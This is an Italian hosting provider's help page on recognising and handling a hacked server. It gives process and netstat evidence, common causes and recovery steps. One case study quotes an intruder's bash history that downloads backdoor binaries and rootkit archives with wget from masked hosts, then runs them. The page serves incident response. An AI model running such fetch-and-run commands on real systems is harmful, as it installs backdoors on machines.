Cerca


stampa pdf
Server Hack


Non arrivano soltanto agli altri.

Come verificare se una macchina é stata hackerata?

Un colpo d'occhio sui MRTG e non si sbaglia mai:






e sulla macchina si trova:

root 3632 0.0 1.0 2368 1320 pts/0 S 10:51 0:00 -bash
root 6310 0.0 0.1 476 248 pts/0 S 11:27 0:00 ./ipv6fuck 213.186.34.196 192.88.99.1 2002:d5ba:22c4:: 2001:6b8:0:400
[...]

root 6360 0.0 0.1 476 244 pts/0 S 11:27 0:00 ./ipv6fuck 213.186.34.196 192.88.99.1 2002:d5ba:22c4:: 2001:6b8:0:400


Come si può vedere, l'hacker ha potuto lanciare dei software dalla root. La macchina è dunque vittima di un attacco hacker e deve essere reinstallata.

# netstat -tanpu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
udp 0 0 0.0.0.0:9875 0.0.0.0:* 28823/xc
udp 0 0 0.0.0.0:1052 0.0.0.0:* 28823/xc
udp 0 0 0.0.0.0:6770 0.0.0.0:* 28823/xc
# ps auxw | grep 28823
root 7117 0.0 0.5 1796 748 pts/1 S 11:38 0:00 grep 28823


Esistono dei software che, una volta lanciati, hanno un pid e che non sono visti come
ps, sicuramente perché il ps originale è stato sostituito da un ps
hackato che filtra tutti i software dell'hacker per bypassare i controlli.


# halt

Broadcast message from root (pts/1) Thu Nov 20 11:39:22 2003...

The system is going down for system halt NOW !!

Ferma immediatamente la macchina.

Si può essere fortunati ed avere soltanto il server in stato SemiHack.

Un altra situazione: Esempio di Server Hack.

Perché il server ha subito un attacco hacker?

Le origini dei problemi possono essere diverse, ma all'incirca possono essere riassunti in questo modo:
Non siete abbastanza accorti.

Utilizzate telnet. Il vostro login e la vostra password viaggiano su internet e potete essere "sniffati" in qualsiasi momento. Occore utilizzare ssh. Ecco un piccolo manuale sull'argomento : Ssh su Server Dedicato.

Utilizzate ftp. Il vostro login e la vostra password viaggiano su internet e la password è quella di root. Sftp é la vostra soluzione.

Utilizzate pop3/imap con la password (che viaggia) che é sempre la password di root. Utilizzate APOP o POP3S/IMAPS. Ecco un piccolo manuale sull'argomento: Smtp per Pop3 e Imap.

Se non aggiornate vostra macchina con delle release Release Patch di Sicurezza, rischiate l'hack facile (ogni giorno vengono effettuate più o meno 250 scans sulla nostra rete, allo scopo di individuare i difetti di sicurezza delle macchine).

Che fare?

In caso di attacco hacker, il vostro server verrà automaticamente riavviato in modalità Rescue FTP; riceverete quindi una mail con i vostri codici d'accesso per questo tipo di modalità.

Potete in seguito chiedere al supporto di passare la macchina in Rescue Mode, esclusivamente attraverso l'apertura di un ticket incidente, giustificando la vostra richiesta ed il vostro impegno da correggere gli errori prima della riattivazione del server. I nostri tecnici controlleranno che i problemi causati dall'attacco siano risolti prima di riattivare il server in modalità normale sulla rete (modo HDD).

Esempi di hack

1. Difetto di script CGI

I sintomi
Un file g00dies.tgz caricato nella cartella /tmp con altri file : x, k, etc...
Il programma x é una backdoor; una volta lanciata, dà accesso alla macchina.

Abbiamo trovato il bash.history dell'utente nobody in /tmp, ed ecco il contenuto:

cd /tmp
wget www.#######.com/x
chmod +x x
./s
./x
./x
./x
./x./x
./x
./x
./x
./x
wget www.#######.com/k
chmod +x k
./k -d;
/tmp/x
./x
./x
./x
./x
./x
./x
./
cd /tmp
mkdir .,
cd .,
wget ######.go.ro/vampix
tar zxvf vampix
cd esc
./mingetty
./mingetty
./mingetty
cd /tmp
wget ######.go.ro/g00dies.tgz
tar zxvf g00dies.tgz
cd goodies
mv stealth /tmp
cd /tmp
wget ######.go.ro/smth
chmod +x smth
./smth
cd /tmp
wget ######.go.ro/g00dies.tgz
tar zxvf g00dies.tgz
cd goodies
mv stealth /tmp
/tmp/smth
/tmp/stealth




Constatazione
Si vede bene che sono stati fatti degli ordini come nobody, ma questo user è principalmente utilizzato da apache; sembra che apache abbia approfittato di una vulnerabilità di un script CGI.

Risoluzione
- Killare tutti i processi sospetti in corso.
Apparentemente l'hacker non è passato in root (anche se avrebbe potuto approfittare di un difetto di un kernel <2.4.24); tuttavia è necessario effettuare alcune operazioni/verifiche elementari:

  • Cambiare tutte le password: root, user, mysql, mail, etc... (si può vedere infatti che l'hacker ha lanciato mingetty)
  • Fare una ricerca estesa degli archivi modificati dall'hacker: find /rep -cmin -60 (verifica gli archivi modificati da meno d'una ora).

- Consultare in seguito i logs di Apache all'ora in cui si è verificata l'intrusione per trovare lo script che lo ha permesso.